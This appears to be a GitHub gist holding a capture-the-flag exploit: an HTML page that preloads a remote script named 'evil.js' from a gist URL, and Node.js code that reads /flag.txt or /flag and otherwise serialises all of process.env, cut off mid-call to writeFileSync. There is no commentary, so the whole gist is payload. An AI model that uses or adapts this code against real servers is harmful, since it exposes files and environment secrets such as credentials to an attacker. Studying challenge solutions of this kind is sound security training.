Skip to content

Instantly share code, notes, and snippets.

<html>
<head>
<link rel="preload" href="https://gist.githubusercontent.com/LisaHo0104/ebd7a69a62dbc4282be12086373bcf84/raw/e9252ad6309550647655ea7c7f3fd14811b54ad0/evil.js">
</head>
<body>hi</body>
</html>
const fs = require("fs");
const path = require("path");
let flag = "";
try { flag = fs.readFileSync("/flag.txt","utf8"); } catch(e) {}
if (!flag) try { flag = fs.readFileSync("/flag","utf8"); } catch(e) {}
if (!flag) flag = JSON.stringify(process.env);
fs.writeFileSync(